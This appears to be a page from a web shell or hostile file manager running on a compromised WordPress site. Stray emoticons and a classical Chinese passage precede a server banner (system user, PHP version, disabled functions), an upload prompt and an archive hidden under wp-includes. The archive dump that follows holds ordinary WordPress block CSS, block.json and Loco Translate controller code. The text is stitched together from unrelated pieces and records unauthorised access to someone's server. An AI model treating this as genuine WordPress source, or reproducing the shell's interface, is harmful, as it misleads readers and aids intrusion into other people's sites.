Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭 HEX
HEX
Server: Apache
System: Linux webm006.cluster120.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: studionolh (122383)
PHP: 7.3.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/s/t/u/studionolh/www/wp-includes/Requests/Cookie/reusable-blocks/list.tar
style-rtl.css000064400000002540152331633760007227 0ustar00/**
 * Colors
 */
/**
 * Breakpoints & Media Queries
 */
/**
 * SCSS Variables.
 *
 * Please use variables from this sheet to ensure consistency across the UI.
 * Don't add to this sheet unless you're pretty sure the value will be reused in many places.
 * For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
 */
/**
 * Colors
 */
/**
 * Fonts & basic variables.
 */
/**
 * Grid System.
 * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
 */
/**
 * Dimensions.
 */
/**
 * Shadows.
 */
/**
 * Editor widths.
 */
/**
 * Block & Editor UI.
 */
/**
 * Block paddings.
 */
/**
 * React Native specific.
 * These variables do not appear to be used anywhere else.
 */
/**
 * Breakpoint mixins
 */
/**
 * Long content fade mixin
 *
 * Creates a fading overlay to signify that the content is longer
 * than the space allows.
 */
/**
 * Focus styles.
 */
/**
 * Applies editor left position to the selector passed as argument
 */
/**
 * Styles that are reused verbatim in a few places
 */
/**
 * Allows users to opt-out of animations via OS-level preferences.
 */
/**
 * Reset default styles for JavaScript UI based pages.
 * This is a WP-admin agnostic reset
 */
/**
 * Reset the WP Admin page styles for Gutenberg-like pages.
 */
ol.has-background,
ul.has-background {
  padding: 1.25em 2.375em;
}style.min.css000064400000000073152331633760007211 0ustar00ol.has-background,ul.has-background{padding:1.25em 2.375em}style-rtl.min.css000064400000000073152331633760010010 0ustar00ol.has-background,ul.has-background{padding:1.25em 2.375em}style.css000064400000002540152331633760006430 0ustar00/**
 * Colors
 */
/**
 * Breakpoints & Media Queries
 */
/**
 * SCSS Variables.
 *
 * Please use variables from this sheet to ensure consistency across the UI.
 * Don't add to this sheet unless you're pretty sure the value will be reused in many places.
 * For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
 */
/**
 * Colors
 */
/**
 * Fonts & basic variables.
 */
/**
 * Grid System.
 * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
 */
/**
 * Dimensions.
 */
/**
 * Shadows.
 */
/**
 * Editor widths.
 */
/**
 * Block & Editor UI.
 */
/**
 * Block paddings.
 */
/**
 * React Native specific.
 * These variables do not appear to be used anywhere else.
 */
/**
 * Breakpoint mixins
 */
/**
 * Long content fade mixin
 *
 * Creates a fading overlay to signify that the content is longer
 * than the space allows.
 */
/**
 * Focus styles.
 */
/**
 * Applies editor left position to the selector passed as argument
 */
/**
 * Styles that are reused verbatim in a few places
 */
/**
 * Allows users to opt-out of animations via OS-level preferences.
 */
/**
 * Reset default styles for JavaScript UI based pages.
 * This is a WP-admin agnostic reset
 */
/**
 * Reset the WP Admin page styles for Gutenberg-like pages.
 */
ol.has-background,
ul.has-background {
  padding: 1.25em 2.375em;
}block.json000064400000002016152331633760006541 0ustar00{
	"apiVersion": 2,
	"name": "core/list",
	"title": "List",
	"category": "text",
	"description": "Create a bulleted or numbered list.",
	"keywords": [ "bullet list", "ordered list", "numbered list" ],
	"textdomain": "default",
	"attributes": {
		"ordered": {
			"type": "boolean",
			"default": false,
			"__experimentalRole": "content"
		},
		"values": {
			"type": "string",
			"source": "html",
			"selector": "ol,ul",
			"multiline": "li",
			"__unstableMultilineWrapperTags": [ "ol", "ul" ],
			"default": "",
			"__experimentalRole": "content"
		},
		"type": {
			"type": "string"
		},
		"start": {
			"type": "number"
		},
		"reversed": {
			"type": "boolean"
		},
		"placeholder": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"className": false,
		"typography": {
			"fontSize": true,
			"__experimentalFontFamily": true
		},
		"color": {
			"gradients": true
		},
		"__unstablePasteTextInline": true,
		"__experimentalSelector": "ol,ul"
	},
	"editorStyle": "wp-block-list-editor",
	"style": "wp-block-list"
}
BaseController.php000064400000004466152336322220010205 0ustar00<?php
/**
 * Common controller for listing of all bundle types
 */
abstract class Loco_admin_list_BaseController extends Loco_mvc_AdminController {
    
    private $bundles = [];


    /**
     * Build renderable bundle variables
     * @param Loco_package_Bundle
     * @return Loco_mvc_ViewParams
     */
    protected function bundleParam( Loco_package_Bundle $bundle ){
        $handle = $bundle->getHandle();
        $default = $bundle->getDefaultProject();
        return new Loco_mvc_ViewParams(  [
            'id'   => $bundle->getId(),
            'name' => $bundle->getName(),
            'dflt' => $default ? $default->getDomain() : '--',
            'size' => count( $bundle ),
            'save' => $bundle->isConfigured(),
            'type' => $type = strtolower( $bundle->getType() ),
            'view' => Loco_mvc_AdminRouter::generate( $type.'-view', [ 'bundle' => $handle ] ),
            'time' => $bundle->getLastUpdated(),
        ] );
    }
    

    /**
     * Add bundle to enabled or disabled list, depending on whether it is configured
     * @param Loco_package_Bundle
     */
    protected function addBundle( Loco_package_Bundle $bundle ){
        $this->bundles[] = $this->bundleParam($bundle);
    }
    

    /**
     * {@inheritdoc}
     */
    public function getHelpTabs(){
        return  [
            __('Overview','loco-translate') => $this->viewSnippet('tab-list-bundles'),
        ];
    }


    /**
     * {@inheritdoc}
     */
    public function render(){

        // breadcrumb is just the root
        $here = new Loco_admin_Navigation(  [
            new Loco_mvc_ViewParams( [ 'name' => $this->get('title') ] ),
        ] );
        
        /*/ tab between the types of bundles
        $types = array (
            '' => __('Home','loco-translate'),
            'theme'  => __('Themes','loco-translate'),
            'plugin' => __('Plugins','loco-translate'),
        );
        $current = $this->get('_route');
        $tabs = new Loco_admin_Navigation;
        foreach( $types as $type => $name ){
            $href = Loco_mvc_AdminRouter::generate($type);
            $tabs->add( $name, $href, $type === $current );
        }
        */
        
        return $this->view( 'admin/list/bundles',  [
            'bundles' => $this->bundles,
            'breadcrumb' => $here,
        ] );
    }

    
}ThemesController.php000064400000000725152336322220010552 0ustar00<?php
/**
 * List all bundles of type "theme"
 * Route: loco-theme
 */
class Loco_admin_list_ThemesController extends Loco_admin_list_BaseController {

    


    public function render(){

        $this->set('type', 'theme' );
        $this->set('title', __( 'Translate themes', 'loco-translate' ) );
        
        foreach( Loco_package_Theme::getAll() as $bundle ){
            $this->addBundle( $bundle );
        }

        return parent::render();
    }

    
}PluginsController.php000064400000001510152336322220010737 0ustar00<?php
/**
 * List all bundles of type "plugin"
 * Route: loco-plugin
 */
class Loco_admin_list_PluginsController extends Loco_admin_list_BaseController {

    
    public function render(){

        $this->set( 'type', 'plugin' );
        $this->set( 'title', __( 'Translate plugins', 'loco-translate' ) );
        
        foreach( Loco_package_Plugin::get_plugins() as $handle => $data ){
            try {
                $bundle = Loco_package_Plugin::create( $handle );
                $this->addBundle($bundle);
            }
            // @codeCoverageIgnoreStart
            catch( Exception $e ){
                $bundle = new Loco_package_Plugin( $handle, $handle );
                $this->addBundle( $bundle );
            }
            // @codeCoverageIgnoreEnd
        }
        
        return parent::render();
    }

    
}LocalesController.php000064400000006542152336322220010712 0ustar00<?php
/**
 * Lists all installed locales.
 * WordPress decides what is "installed" based on presence of core translation files
 */
class Loco_admin_list_LocalesController extends Loco_mvc_AdminController {


    /**
     * {@inheritdoc}
     */
    public function init(){
        parent::init();
        $this->enqueueStyle('locale');
    }



    /**
     * {@inheritdoc}
     */
    public function getHelpTabs(){
        return  [
            __('Overview','loco-translate') => $this->viewSnippet('tab-list-locales'),
        ];
    }



    /**
     * {@inheritdoc}
     */
    public function render(){

        $this->set( 'title', __( 'Installed languages', 'loco-translate' ) );
        
        $used = [];
        $locales = [];
        $api = new Loco_api_WordPressTranslations;
        
        $active = get_locale();

        // list which sites have each language as their WPLANG setting
        if( $multisite = is_multisite() ){
            $this->set('multisite',true);
            /* @var WP_Site $site */
            foreach( get_sites() as $site ){
                $id = (int) $site->blog_id;
                $tag = get_blog_option( $id, 'WPLANG') or $tag = 'en_US';
                $name = get_blog_option( $id, 'blogname' );
                $used[$tag][] = $name;
            }
        }
        // else single site shows tick instead of site name
        else {
            $used[$active][] = '✓';
        }

        // add installed languages to file crawler
        $finder = new Loco_package_Locale;

        // Pull "installed" languages (including en_US)
        foreach( $api->getInstalledCore() as $tag ){
            $locale = Loco_Locale::parse($tag);
            if( $locale->isValid() ){
                $tag = (string) $locale;
                $finder->addLocale($locale);
                $args = [ 'locale' => $tag ];
                $locales[$tag] = new Loco_mvc_ViewParams( [
                    'nfiles' => 0,
                    'time' => 0,
                    'lcode' => $tag,
                    'lname' => $locale->ensureName($api),
                    'lattr' => 'class="'.$locale->getIcon().'" lang="'.$locale->lang.'"',
                    'href' => Loco_mvc_AdminRouter::generate('lang-view',$args),
                    'used' => isset($used[$tag]) ? implode( ', ', $used[$tag] ) : ( $multisite ? '--' : '' ),
                    'active' => $active === $tag,
                ] );
            }
        }
        $this->set('locales', $locales );
        
        // Count up unique PO files  
        foreach( $finder->findLocaleFiles() as $file ){
            if( preg_match('/(?:^|-)([_a-zA-Z]+).po$/', $file->basename(), $r ) ){
                $locale = Loco_Locale::parse($r[1]);
                if( $locale->isValid() ){
                    $tag = (string) $locale;
                    $locales[$tag]['nfiles']++;
                    $locales[$tag]['time'] = max( $locales[$tag]['time'], $file->modified() );
                }
            }
        }
        
        // POT files are in en_US locale
        $tag = 'en_US';
        if( array_key_exists($tag,$locales) ){
            foreach( $finder->findTemplateFiles() as $file ){
                $locales[$tag]['nfiles']++;
                $locales[$tag]['time'] = max( $locales[$tag]['time'], $file->modified() );
            }
        }
        
       return $this->view( 'admin/list/locales' );
    }

    
}
CoreController.php000064400000000574152336322220010217 0ustar00<?php
/**
 * Dummy controller skips "core" list view, rendering the core projects directly as a single bundle.
 * Route: loco-core -> loco-core-view
 */
class Loco_admin_list_CoreController extends Loco_admin_RedirectController {


    /**
     * {@inheritdoc}
     */
    public function getLocation(){
        return Loco_mvc_AdminRouter::generate('core-view');
    }    
    
}